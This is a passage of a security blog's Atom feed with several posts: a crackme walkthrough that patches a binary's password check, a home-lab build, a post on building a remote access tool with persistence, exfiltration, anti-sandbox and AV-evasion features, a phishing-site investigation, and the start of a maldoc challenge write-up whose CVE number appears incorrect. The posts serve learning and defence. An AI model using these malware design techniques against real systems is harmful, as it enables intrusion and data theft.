&lt;/ul&gt;
&lt;p&gt;I also plan on releasing a live demo of the tool very soon in the hopes of getting feedback from the community. &lt;/p&gt;
&lt;p&gt;For now, if you are interested in the project, you could visit the &lt;a href="https://github.com/accidentalrebel/vATTACK"&gt;tool's Github project page&lt;/a&gt; or contact me for any comments or suggestions.&lt;/p&gt;
&lt;p&gt;See vATT&amp;amp;CK in use during the &lt;a href="https://www.accidentalrebel.com/threat-hunting-from-home-cyber-corp-wmi-persistence.html"&gt;Cyber Corp Case 2 threat hunting walkthrough&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For MITRE's malware-focused companion framework, see the post on the &lt;a href="https://www.accidentalrebel.com/talking-about-mitres-malware-behavior-catalog.html"&gt;Malware Behavior Catalog (MBC)&lt;/a&gt;.&lt;/p&gt;</content><category term="Tools"/><category term="tools"/><category term="cybersecurity"/></entry><entry><title>IOLI Crackme 0x04</title><link href="https://www.accidentalrebel.com/ioli-crackme-0x04.html" rel="alternate"/><published>2021-09-29T10:34:00+08:00</published><updated>2021-09-29T10:34:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-09-29:/ioli-crackme-0x04.html</id><summary type="html">&lt;p&gt;IOLI Crackme 0x04 walkthrough — the password is any digits that sum to 15, revealed by tracing sscanf-based accumulation through static analysis in IDA.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I am continuing my reverse engineering review by tackling the &lt;em&gt;IOLI crackmes&lt;/em&gt; by &lt;a href="https://twitter.com/pof"&gt;@pof&lt;/a&gt;. These are beginner friendly challenges that is perfect for newbies or for those who want to review the basics like me. Check out my writeups for &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x00.html"&gt;0x00&lt;/a&gt;, &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x01.html"&gt;0x01&lt;/a&gt;, &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x02.html"&gt;0x02&lt;/a&gt;, and &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x03.html"&gt;0x03&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="getting-the-password"&gt;Getting the password&lt;/h1&gt;
&lt;p&gt;Loading the program in IDA revealed something new. There is now a &lt;code&gt;_check&lt;/code&gt; function that when opened looks more complicated than the previous challenges.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x04-01" src="https://www.accidentalrebel.com/images/ioli-crackme-0x04-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;The one thing that I immediately noticed is the call to the &lt;code&gt;_strlen&lt;/code&gt; function similar to the previous challenge. This means that the length of the input string plays another important role.&lt;/p&gt;
&lt;p&gt;One curious thing is the condition that leads to the "Password Incorrect" block, as shown below.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x04-02" src="https://www.accidentalrebel.com/images/ioli-crackme-0x04-02.png" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;_strlen&lt;/span&gt;
&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_C&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="nf"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_401387&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From the looks of it, the check will fail if &lt;code&gt;var_C&lt;/code&gt; (Which is our &lt;code&gt;var_counter&lt;/code&gt; from the previous challenge) reaches the length of the entered string. If you think about it, this means that it doesn't matter how long the string that the user inputs. What's important is the content.&lt;/p&gt;
&lt;p&gt;To find out what the correct content the program expects, we need to look at the other block of code.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x04-03" src="https://www.accidentalrebel.com/images/ioli-crackme-0x04-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;The code uses the same approach as the previous challenge where &lt;code&gt;var_counter&lt;/code&gt; is used to loop through individual characters in the input string.&lt;/p&gt;
&lt;p&gt;The part that is new is the use of the &lt;code&gt;_sscanf&lt;/code&gt; function which is defined as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"sscanf reads data from s and stores them according to parameter format into the locations given by the additional arguments, as if scanf was used, but reading from s instead of the standard input (stdin)."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Looking at how the function &lt;code&gt;_sscanf&lt;/code&gt; is used, it gets each character in the input string and converts them to decimal integers. This means that the password can only contain the numbers &lt;em&gt;0 through 9&lt;/em&gt;. The reason for this is because the result is added to another value at the line &lt;code&gt;add [eax], edx&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This &lt;em&gt;"other value"&lt;/em&gt; is the converted integer value from previous loops. This means that the algorithm adds each number from the input string after every loop. For example, an input string of &lt;code&gt;123&lt;/code&gt; translates to &lt;code&gt;1+2+3&lt;/code&gt; where the computed sum is saved to &lt;code&gt;var_8&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Finally, there is the line &lt;code&gt;cmp [ebp+var_8], 0Fh&lt;/code&gt;, which tells us that the program expects the computed sum to be equal to &lt;code&gt;0Fh&lt;/code&gt; or &lt;code&gt;15&lt;/code&gt;. So as long as we enter numbers that would equal to &lt;code&gt;15&lt;/code&gt; when combined, then we are good.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x04-" src="https://www.accidentalrebel.com/images/ioli-crackme-0x04-.png" /&gt;&lt;/p&gt;
&lt;h1 id="patching-the-executables"&gt;Patching the executables&lt;/h1&gt;
&lt;p&gt;Patching the executable is different this time around. If on previous challenges we patched the program by changing an conditional opcode to a jmp (&lt;code&gt;74&lt;/code&gt; to &lt;code&gt;EB&lt;/code&gt;), for this one we only need to change the conditional to a &lt;code&gt;no op&lt;/code&gt; instruction (&lt;code&gt;00&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x04-05" src="https://www.accidentalrebel.com/images/ioli-crackme-0x04-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;As you can see, the line &lt;code&gt;cmp [ebp+var_8]&lt;/code&gt; and the conditional branch disappears allowing us to go directly to the &lt;em&gt;"Password OK"&lt;/em&gt; part of the code.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x04-06" src="https://www.accidentalrebel.com/images/ioli-crackme-0x04-06.png" /&gt;&lt;/p&gt;
&lt;h1 id="on-to-the-next-challenge"&gt;On to the next challenge...&lt;/h1&gt;
&lt;p&gt;I liked this challenge mostly because it changed the passwords the program expects. The first time I tackled this challenge I used purely static analysis. I thought I got the answer only to realize that I was wrong by debugging the code. We have 5 more challenges to go!&lt;/p&gt;</content><category term="Reverse Engineering"/><category term="re"/><category term="crackme"/></entry><entry><title>Building my Virtual Cybersecurity Home Lab</title><link href="https://www.accidentalrebel.com/building-my-virtual-cybersecurity-home-lab.html" rel="alternate"/><published>2021-09-05T20:33:00+08:00</published><updated>2021-09-05T20:33:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-09-05:/building-my-virtual-cybersecurity-home-lab.html</id><summary type="html">&lt;p&gt;How I built a virtual cybersecurity home lab with pfSense, Metasploitable, Kali, Splunk, Snort, and a dedicated malware analysis network using Remnux.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have recently realized that one part of cybersecurity that I am lacking basic knowledge on is networking. I honestly did not think it was important when I was starting. It was the reason why I skipped Network+ so I could take Security+ directly. &lt;/p&gt;
&lt;p&gt;Now I know better.&lt;/p&gt;
&lt;p&gt;Ever since my realization, I have taken steps to patch the holes in my knowledge. I've started taking courses and bought books. But one thing that has made the most impact is me building my very own "homelab".&lt;/p&gt;
&lt;p&gt;I first came to know of the concept of homelabs &lt;a href="https://www.reddit.com/r/homelab/"&gt;from Reddit&lt;/a&gt;. To those unfamiliar, it is the practice of building a networked environment to gain practical knowledge in networking and IT. One way to do this is by making a virtual network.&lt;/p&gt;
&lt;p&gt;And so, over the past month, I have been building my very own virtual homelab with a focus on integrating cybersecurity products.&lt;/p&gt;
&lt;h1 id="the-lab"&gt;The Lab&lt;/h1&gt;
&lt;p&gt;The network diagram below shows the current implementation of my lab. I will be discussing each part to give an idea of their purpose (&lt;a href="https://www.accidentalrebel.com/images/building-my-virtual-cybersecurity-home-lab-00.png"&gt;Click here for a bigger version&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="building-my-virtual-cybersecurity-home-lab-01" src="https://www.accidentalrebel.com/images/building-my-virtual-cybersecurity-home-lab-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;At the heart of the network is a firewall running &lt;a href="https://www.pfsense.org/"&gt;pfSense&lt;/a&gt;. Its purpose is to ensure that each sub-network is separated and protected, and also to protect my virtual host from any malware outbreaks. This machine also serves as a DHCP and NTP server to all the machines in the network.&lt;/p&gt;
&lt;p&gt;&lt;img alt="building-my-virtual-cybersecurity-home-lab-13" src="https://www.accidentalrebel.com/images/building-my-virtual-cybersecurity-home-lab-13.png" /&gt;&lt;/p&gt;
&lt;h1 id="the-target-network"&gt;The Target Network&lt;/h1&gt;
&lt;p&gt;On the right side of the diagram is the "Target" network where workstations and vulnerable servers reside. These are the machines that I use to attack with exploits and malware.&lt;/p&gt;
&lt;p&gt;&lt;img alt="building-my-virtual-cybersecurity-home-lab-02" src="https://www.accidentalrebel.com/images/building-my-virtual-cybersecurity-home-lab-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;I have Metasploitable 2 and Metasploitable 3 machines that have various services turned on to play around with. I can learn about specific attacks by exploiting this machine, but I can also don my defenders hat and learn about how to secure them.&lt;/p&gt;
&lt;p&gt;The Windows and Linux machines will serve as typical workstations for various experiments.&lt;/p&gt;
&lt;p&gt;One of the perks of my job is that I get to play with different cybersecurity solutions. I currently have access to a few that I am able to use on my lab for testing.&lt;/p&gt;
&lt;p&gt;One solution that I am using right now is an EDR (Endpoint Detection and Response) (Sorry, I can't reveal which). Each machine has an EDR agent deployed which monitors for any malicious activities on the host. It has an anti-virus feature, anti-ransomware, and fileless attack monitoring. It's awesome stuff but I have yet to maximize this.&lt;/p&gt;
&lt;p&gt;An IDS (intrusion Detection System) running &lt;a href="https://www.snort.org/"&gt;Snort&lt;/a&gt; monitors the traffic for any malicious activity. Signatures are constantly updated to ensure that I can detect the latest types of attack. If it finds anything important, it then sends an alert to a SIEM (running &lt;a href="https://www.splunk.com/"&gt;Splunk&lt;/a&gt;) on the Management network.&lt;/p&gt;
&lt;p&gt;&lt;img alt="building-my-virtual-cybersecurity-home-lab-11" src="https://www.accidentalrebel.com/images/building-my-virtual-cybersecurity-home-lab-11.png" /&gt;&lt;/p&gt;
&lt;h1 id="the-management-network"&gt;The Management Network&lt;/h1&gt;
&lt;p&gt;On the left side of the diagram is the Managemnet network. This is where the management part of the EDR, IDS, and the SIEM can be accessed from my virtual host.&lt;/p&gt;
&lt;p&gt;&lt;img alt="building-my-virtual-cybersecurity-home-lab-03" src="https://www.accidentalrebel.com/images/building-my-virtual-cybersecurity-home-lab-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;There's nothing special about this network, I do want to note though that I find it interesting the Snort IDS has two interfaces. One is used for access to the management page, and the other is for sniffing traffic on the Attacker network.&lt;/p&gt;
&lt;h1 id="the-operations-network"&gt;The Operations Network&lt;/h1&gt;
&lt;p&gt;At the bottom side of the diagram is the "Operations" network.&lt;/p&gt;
&lt;p&gt;A machine running Kali is placed here. I can launch attacks from this machine towards the vulnerable machines on the Target network. This machine also has OpenVAS scanner that helps in discovering vulnerabilities on the target machines.&lt;/p&gt;
&lt;p&gt;&lt;img alt="building-my-virtual-cybersecurity-home-lab-04" src="https://www.accidentalrebel.com/images/building-my-virtual-cybersecurity-home-lab-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;A windows machine serves as my malware analysis lab. It contains a lot of malware analysis tools to aid with investigations. &lt;/p&gt;
&lt;p&gt;This machine is then connected to a &lt;a href="https://remnux.org/"&gt;Remnux&lt;/a&gt; Linux machine. All traffic from the Windows machine is port forwarded by Remnux. From here I can run Wireshark to inspect the traffic coming from the Windows malware lab and it can also spoof the network responses to influence the behavior of malware. If the Remnux machine is turned off, then the Windows machine is effectively cut off from the whole network. It's a really neat setup that &lt;a href="https://www.ariefprabowo.com/en/malware-analysis-en/personal-notes-building-a-malware-analysis-lab-environment/"&gt;I learned here&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="the-present"&gt;The Present&lt;/h1&gt;
&lt;p&gt;While the main intent of the network is to learn networking and implementing cybersecurity products, I can also investigate malware and learn about exploits by launching attacks. So it has a lot of multiple uses, which is perfect for someone like me who gets interested in different aspects of cybersecurity.&lt;/p&gt;
&lt;p&gt;My host machine currently has 32GB, 8 cores, and a total of 1.75TB which may seem a lot but is not powerful enough for all the machines to run at the same time. As a workaround, I just open the machines that I need for a particular exercise.&lt;/p&gt;
&lt;p&gt;&lt;img alt="building-my-virtual-cybersecurity-home-lab-05" src="https://www.accidentalrebel.com/images/building-my-virtual-cybersecurity-home-lab-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;For example, if I want to investigate malware then I only need the firewall, Remnux, and the windows malware lab open. But if I want to attack and run an exploit, while making sure that it gets detected, then I need the firewall, EDR, IPS, SIEM, Kali, and the target machine to be open at the same time. This easily consumes around 20GB+!&lt;/p&gt;
&lt;h1 id="the-future"&gt;The Future&lt;/h1&gt;
&lt;p&gt;Working on this homelab has taught me a lot of practical knowledge. It helped solidify a lot of networking concepts I've learned througout the years.&lt;/p&gt;
&lt;p&gt;I'm not stopping here though. I also plan to upgrade the Target network so it would better resemble an enterprise network. For example, setting up an active directory, an internal DNS server, and maybe even a mail server (why not?). This is so I could play around in detecting and remediating more varied enterprise-level scenarios.&lt;/p&gt;
&lt;p&gt;I am also hoping I could get access to more cybersecurity products so I could play around with them. A SOAR (Security Orchestration and Response) would be a nice addition that would work really well.&lt;/p&gt;
&lt;p&gt;But, of course, before I could do any of the above I first need to upgrade my RAM and add more cores!&lt;/p&gt;
&lt;p&gt;One example of what I test in this lab: &lt;a href="https://www.accidentalrebel.com/making-a-rat.html"&gt;Making a RAT&lt;/a&gt;, a remote access tool with anti-sandbox checks, built for educational purposes.&lt;/p&gt;
&lt;p&gt;A useful tool for the malware analysis portion of this lab: &lt;a href="https://www.accidentalrebel.com/introducing-shcode2exe.html"&gt;shcode2exe&lt;/a&gt;, which compiles shellcode into debuggable Windows executables without requiring Wine.&lt;/p&gt;</content><category term="Malware Analysis"/><category term="malware"/><category term="dev"/></entry><entry><title>Making a RAT</title><link href="https://www.accidentalrebel.com/making-a-rat.html" rel="alternate"/><published>2021-07-13T14:56:00+08:00</published><updated>2021-07-13T14:56:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-07-13:/making-a-rat.html</id><summary type="html">&lt;p&gt;Building RATwurst, a RAT in C and Python, with runtime DLL loading, socket comms, anti-sandbox checks, and basic AV evasion — for educational purposes only.&lt;/p&gt;</summary><content type="html">&lt;p&gt;A Remote Access Tool (RAT) is used to remotely access a computer. It has legitimate uses but it can also be used for malicious purposes. I've seen it used in malware I've analyzed and I've always been curious as to how it works.&lt;/p&gt;
&lt;p&gt;I was following along the &lt;a href="https://handmadehero.org/"&gt;Handmade Hero project&lt;/a&gt; &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; when the topic about dynamic DLL loading came up. This is a process of dynamically loading a DLL at runtime which is useful if you want your program to check if a DLL is present in a system before loading it.&lt;/p&gt;
&lt;p&gt;Two of the system calls that were discussed were LoadLibrary and GetProcAddress. These were familiar to me as I've seen them used on malware shellcode I analyzed in the past. I later learned that this is also used as an anti-virus evasion technique. I found this interesting.&lt;/p&gt;
&lt;p&gt;Having learned how to do runtime DLL loading myself I decided to give it a try. And of course, a RAT is perfect for this.&lt;/p&gt;
&lt;p&gt;&lt;img alt="making-a-rat-01" src="https://www.accidentalrebel.com/images/making-a-rat-01.png" /&gt;&lt;/p&gt;
&lt;h2 id="planning-the-ratchitecture"&gt;Planning the RATchitecture&lt;/h2&gt;
&lt;p&gt;A lot of famous RATs are packed with features like the ability to log keystrokes, take screenshots, and turn on a webcam. I just want mine to be simple and have basic functionality like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Execute command line commands remotely&lt;/li&gt;
&lt;li&gt;Download a file to the client&lt;/li&gt;
&lt;li&gt;Exfiltrate data via file upload&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can already do a lot of things even with the above basic functions. You can download a payload to the client, run it via remote command and then upload the results. You can even update the RAT itself using the same process!&lt;/p&gt;
&lt;p&gt;As an extra, I also wanted it to be stealthy. I am aware however that this is something that is not easily done. There are myriads of security defenses and I don't think I have the time and energy to have my RAT to be up-to-date with the latest evasion techniques. Having basic anti-debugging and anti-sandbox checks is enough for me.&lt;/p&gt;
&lt;p&gt;I've never made a RAT before but thankfully there are a lot of great resources online that helped me a lot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/quantumcore/paradoxiaRAT"&gt;ParadoxiaRat&lt;/a&gt; is my main resource and has done a lot of the features I wanted to implement.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yatt-ze/The-Collection/tree/master/Source%20Codes/Botnets/DarkRat%20Loader/derkrut"&gt;DarkRAT&lt;/a&gt; is a leaked source code that gave me an idea of how a RAT used in the wild looks like&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/vxunderground/WinAPI-Tricks"&gt;VXUnderground's WinAPI tricks&lt;/a&gt; taught me that there are alternative ways to do certain things to avoid detection&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As for the name of the project, I decided on "RATwurst" after the german sausage, Bratwurst. Don't ask me why. I just thought it's funny that it had the letters RAT in it.&lt;/p&gt;
&lt;p&gt;&lt;img alt="making-a-rat-02" src="https://www.accidentalrebel.com/images/making-a-rat-02.png" /&gt;&lt;/p&gt;
&lt;h2 id="the-nitty-gratty-details"&gt;The nitty gRATty details&lt;/h2&gt;
&lt;p&gt;The client is written in ANSI C because it's the language I prefer. Since I am only targeting Windows I chose MSVC for the compiler. Which is great because it allows me to use Visual Studio for debugging.&lt;/p&gt;
&lt;p&gt;The server, on the other hand, is written in Python because I wanted another excuse to practice with it. Choosing Python has been a good choice though because of the excellent low level &lt;a href="https://docs.python.org/3/library/socket.html"&gt;socket&lt;/a&gt; and &lt;a href="https://docs.python.org/3/library/cmd.html"&gt;cmd&lt;/a&gt; libraries.&lt;/p&gt;
&lt;p&gt;Sockets are used for communication between client and server. I've applied basic XOR obfuscation to the data to mask the traffic. The client and server can handle sending of strings and even executables over the network.&lt;/p&gt;
&lt;p&gt;When RATwurst is first executed. It does some anti-sandbox checks via process enumeration. It checks if there are more than 15 processe that are running and if there are virtualization tools present like &lt;code&gt;vmware.exe&lt;/code&gt;. It will also setup an auto-run registry entry for persistence. And also move the executable to Windows' temp folder and re-run it from there.&lt;/p&gt;
&lt;p&gt;Anti-debbuging checks are littered throughout the code which checks the amount of time it takes to reach from one part of the code to the next. This is used to detect if someone is stepping through the code, increasing the delay between code execution.&lt;/p&gt;
&lt;p&gt;When no shenanigans is detected then it'll proceed to work as intended. &lt;/p&gt;
&lt;p&gt;&lt;img alt="making-a-rat-02" src="https://www.accidentalrebel.com/images/making-a-rat-02.png" /&gt;&lt;/p&gt;
&lt;h2 id="for-edurational-purposes-only"&gt;For eduRATional purposes only&lt;/h2&gt;
&lt;p&gt;I've made the source of my project &lt;a href="https://github.com/accidentalrebel/ratwurst"&gt;available on Github&lt;/a&gt;. The aim is to share what I've learned so that others can learn too.&lt;/p&gt;
&lt;p&gt;I am aware of news of RAT authors having been arrested because of their work. They actively sought to gain money from their creation, I, of course, have no such plans.&lt;/p&gt;
&lt;p&gt;To make sure that I save myself from any legal problems, I've placed a disclaimer that I am not responsible for any misuse. While I am skeptical that a piece of text would prevent any legal action towards me, I do see other projects having their own disclaimers so I decided to do the same.&lt;/p&gt;
&lt;p&gt;I've also submitted my creation to a multi-scanner service like VirusTotal. This would help distribute my RATs signature to anti-virus companies so it can easily be detected when used in the wild.&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id="a-ratisfying-learning-experience"&gt;A RATisfying learning experience&lt;/h2&gt;
&lt;p&gt;Making this project has been a lot of fun. &lt;/p&gt;
&lt;p&gt;The most useful thing that I learned is the client and server communication via sockets. I've dabbled with it before but only in this project have I actually sent actual data back and forth.&lt;/p&gt;
&lt;p&gt;I am also happy that I got to use more Windows APIs. It's fun to play around with what's available and it is opening my mind as to what other things I can make in the future.&lt;/p&gt;
&lt;p&gt;And of course, this project has given me a good insight into the techniques used by malware. Learning about them is not enough until you've built one yourself.&lt;/p&gt;
&lt;p&gt;I later did a deep dive on the string obfuscation technique used here: &lt;a href="https://www.accidentalrebel.com/string-av-evasion-in-x64-assembly-part-1.html"&gt;String AV Evasion in x64 Assembly&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For a safe environment to test projects like this, see how I built &lt;a href="https://www.accidentalrebel.com/building-my-virtual-cybersecurity-home-lab.html"&gt;my virtual cybersecurity home lab&lt;/a&gt;.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Handmade here is a project by Casey Muratori where a game is created from scratch live on stream, has been going on for 6+ years, it's awesome&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Multi-scanners help to easily distribute virus signatures to security services. An opposite to this are "no-distribute" sacnners. More info about this &lt;a href="https://www.bleepingcomputer.com/news/security/75-percent-of-malware-uploaded-on-no-distribute-scanners-is-unknown-to-researchers/"&gt;here&lt;/a&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Malware Analysis"/><category term="malware"/><category term="dev"/></entry><entry><title>Finding phished passwords on a scam site</title><link href="https://www.accidentalrebel.com/finding-phished-passwords-on-a-scam-site.html" rel="alternate"/><published>2021-05-01T20:56:00+08:00</published><updated>2021-05-01T20:56:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-05-01:/finding-phished-passwords-on-a-scam-site.html</id><summary type="html">&lt;p&gt;How I found a publicly accessible victims.txt file storing phished Facebook credentials on a 000webhost server and what happened when I reported it.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Since my last post about &lt;a href="https://www.accidentalrebel.com/investigating-an-fb-phishing-site.html"&gt;my investigations of a Facebook phishing site&lt;/a&gt;, I have received several messages from friends asking me to check out other suspected phishing/scam sites. One of the most alarming out of them was this one where I was able to find the file where the scammer stores the phished usernames and passwords.&lt;/p&gt;
&lt;p&gt;&lt;img alt="finding-phished-passwords-from-a-scam-site-01" src="https://www.accidentalrebel.com/images/finding-phished-passwords-from-a-scam-site-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;This particular phishing site conducts its operations like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An ad is shown on Facebook, promising free coupons for famous fast food restaurants&lt;/li&gt;
&lt;li&gt;Clicking on the ad takes the user to a fake Facebook login page hosted on &lt;em&gt;blogger.com&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Login page then sends phished username and passwords to a PHP file hosted on &lt;em&gt;000webhost&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The phished passwords are then stored in a &lt;code&gt;.txt&lt;/code&gt; file (blatantly named, &lt;code&gt;victims.txt&lt;/code&gt;), which is publicly accessible on an open directory. Getting to this directory involved following the scripts and the URLs used by the scammers. It's not that hard to find as long as you know where to look.&lt;/p&gt;
&lt;p&gt;What's scary is that the size of this text file kept on getting bigger. I knew I had to act quickly.&lt;/p&gt;
&lt;h2 id="stopping-the-scammers"&gt;Stopping the scammers&lt;/h2&gt;
&lt;p&gt;Unfortunately, with phishing sites like these, there's not much we could do but report it to the relevant hosting providers. The problem is that sometimes it may take some time before the site gets reviewed, which is excruciating because the longer the wait, the more people fall victim. Some might even just ignore your report altogether!&lt;/p&gt;
&lt;p&gt;I reported the fake login page to Blogger.com and did not receive any response at all. I understand that Blogger.com is a big platform and I bet they receive numerous reports like this. I guess this is why the scammer used this platform as they know they won't be taken down too quickly. Their profile even listed two sites that both had fake login pages. &lt;/p&gt;
&lt;p&gt;&lt;img alt="finding-phished-passwords-from-a-scam-site-04" src="https://www.accidentalrebel.com/images/finding-phished-passwords-from-a-scam-site-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;Thankfully, &lt;em&gt;000webhost&lt;/em&gt; got back to me and eventually took down the page that hosted the PHP and text files.&lt;/p&gt;
&lt;p&gt;&lt;img alt="finding-phished-passwords-from-a-scam-site-03" src="https://www.accidentalrebel.com/images/finding-phished-passwords-from-a-scam-site-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;You'd think that this is a victory. But sadly, setting up a new phishing site is rather easy so within a few hours there is already a new one. Of course, I reported this new site too. Only for a new one to pop up later...&lt;/p&gt;
&lt;p&gt;You can see how this can become an endless cat and mouse game.&lt;/p&gt;
&lt;h2 id="stopping-from-other-sources"&gt;Stopping from other sources&lt;/h2&gt;
&lt;p&gt;One way that could be effective to stop the scammer's operations is by reporting the Facebook advertisement that is used to lure users to the phishing site. Unfortunately, my friend who shared this with me did not get a chance to snap a screenshot of the ad. If he did then it would probably have more impact on stopping their operations. Maybe the Facebook abuse team can trace the payment details used to pay for the ad, and maybe block it. &lt;/p&gt;
&lt;p&gt;&lt;img alt="finding-phished-passwords-from-a-scam-site-02" src="https://www.accidentalrebel.com/images/finding-phished-passwords-from-a-scam-site-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;If you know anyone who may have seen a Facebook advertisement that offers free coupon codes for fast food restaurants that might be pointing to a suspicious login page, then please do contact me!&lt;/p&gt;
&lt;h2 id="awareness-is-the-key"&gt;Awareness is the key&lt;/h2&gt;
&lt;p&gt;As of this posting, the landing page is still up while the page that hosts the PHP and victims file is down. I'm sure it'll be back up soon. All I was able to do was delay their operations. A minor inconvenience for them.&lt;/p&gt;
&lt;p&gt;&lt;img alt="finding-phished-passwords-from-a-scam-site-05" src="https://www.accidentalrebel.com/images/finding-phished-passwords-from-a-scam-site-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;This is why out of everything, spreading awareness is the best countermeasure. If people are more aware of phishing sites and how to avoid them then that would greatly diminish their impact. This is why I continue to post and write about phishing sites. Seeing the number of victims rising like that made me act knowing that I at least have the power to prevent things from escalating.&lt;/p&gt;
&lt;p&gt;And you have the power too, dear reader. Educate your family and friends by warning them or by showing them my posts. Remember, awareness is our best defense!&lt;/p&gt;</content><category term="Security"/><category term="phishing"/><category term="threat-hunting"/><category term="osint"/></entry><entry><title>Emprisa Maldoc Writeup</title><link href="https://www.accidentalrebel.com/emprisa-maldoc-writeup..html" rel="alternate"/><published>2021-04-30T05:58:00+08:00</published><updated>2021-04-30T05:58:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-04-30:/emprisa-maldoc-writeup..html</id><summary type="html">&lt;p&gt;Writeup for the Emprisa Maldoc CTF — analyzing a CVE-2017-18822 exploit using rtfdump, speakeasy shellcode emulation, and EQNEDT32 process debugging.&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;This is a writeup for &lt;a href="https://www.accidentalrebel.com/the-emprisa-maldoc-challenge.html"&gt;Emprisa maldoc challenge&lt;/a&gt; that I made for &lt;a href="https://cyberdefenders.org/"&gt;CyberDefenders.org&lt;/a&gt;. You can play it &lt;a href="https://cyberdefenders.org/labs/56"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The very first thing that I do when confronted with a malicious document is to run it in a malware lab. This particular document, however, would not exhibit anything malicious on recent versions of Word.&lt;/p&gt;
&lt;p&gt;A quick search of the hash on malware sandboxes would reveal that the document makes use of the &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2017-18822"&gt;CVE-2017-18822 vulnerability&lt;/a&gt;. This is a vulnerability that became known and was promptly patched around November of 2017.&lt;/p&gt;
&lt;p&gt;The above details give us a hint on how to trigger the document, which is to run the maldoc on a version of Microsoft Word that doesn't have the patches that fix the vulnerability. The easiest way to do this is to boot up a new VM with a fresh install of Windows 7 and with updates disabled.&lt;/p&gt;
&lt;p&gt;This new environment is where the document would trigger once double-clicked. After a bit of loading, a pop-up would later appear greeting the analyst with congratulations (this is a stand-in for a malicious payload for this challenge), but of course, it is clear that we are not done yet.&lt;/p&gt;
